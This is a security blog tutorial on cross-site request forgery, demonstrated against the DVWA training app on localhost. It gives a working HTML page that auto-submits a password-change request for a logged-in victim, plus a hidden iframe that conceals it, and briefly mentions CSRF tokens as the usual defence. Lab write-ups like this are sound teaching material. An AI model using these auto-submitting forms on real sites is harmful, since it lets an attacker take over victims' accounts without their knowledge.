Exploring Cross-Site Request Forgery (CSRF) Attacks and How They Work

14 May 2017 . category: tech . Comments
#security #redteam #dvwa

Today we are going to explore Cross-Site Request Forgery (CSRF) attacks and how they work. Although these attacks often start with social engineering tactics to entice a victim to click on a malicious link, we will bypass this aspect and focus only on the technical details of the attack.

Imagine a scenario where a user clicks on every link they receive without considering the potential risks. This user may already be authenticated on certain websites, making it possible for an attacker to issue requests on their behalf. This is precisely what CSRF attacks entail.

To better illustrate the concept, let’s take a look at the CSRF section of DVWA:

csrf

As shown, this is a password update page. It would be quite convenient for an attacker if they could change the victim’s password by exploiting this vulnerability. By examining the request using Burp, we can see that it is a simple GET request with two parameters - the new password and its verification:

csrf

To automate the request, we can create a page that triggers this request as soon as it loads:

<!-- csrf.html-->
<html>
  <body>
    <form
      action="http://127.0.0.1/dvwa/vulnerabilities/csrf/"
      method="GET"
      id="csrfForm"
      name="csrfForm"
    >
      <input name="password_new" value="password" />
      <input name="password_conf" value="password" />
      <input name="Change" value="Change" />
    </form>
    <script>
      document.forms["csrfForm"].submit();
    </script>
  </body>
</html>

Let’s open the csrf.html file in our browser while we are already logged in to DVWA:

csrf

The password has been successfully changed. This is because the browser recognized our request to DVWA and loaded the user’s cookies, including the session id, thereby making our request appear completely legitimate. However, if we were not logged into DVWA, or if we were to open the csrf.html file in a private window, the attack would not work.

To make the attack less noticeable to the user, we can hide the csrf.html file within an invisible iframe. This way, the user will not be able to detect that anything malicious is happening.

<html>
  <body>
    <iframe src="file:///root/Desktop/csrf.html" style="display:none" />
  </body>
</html>

Now, let’s open the file:

csrf

Although CSRF is a powerful attack, it is not a common vulnerability in modern web frameworks, since they automatically protect against it by adding a CSRF token that must be included in POST requests. However, it is still useful to be aware of this attack and its potential dangers, especially when it is combined with other attacks such as XSS.


Me

A creative thinker who is not afraid to challenge the norm. His diverse track record includes failed startups, approved patents and scientific publications in top conferences and journals. On a mission to protect what matters most to you.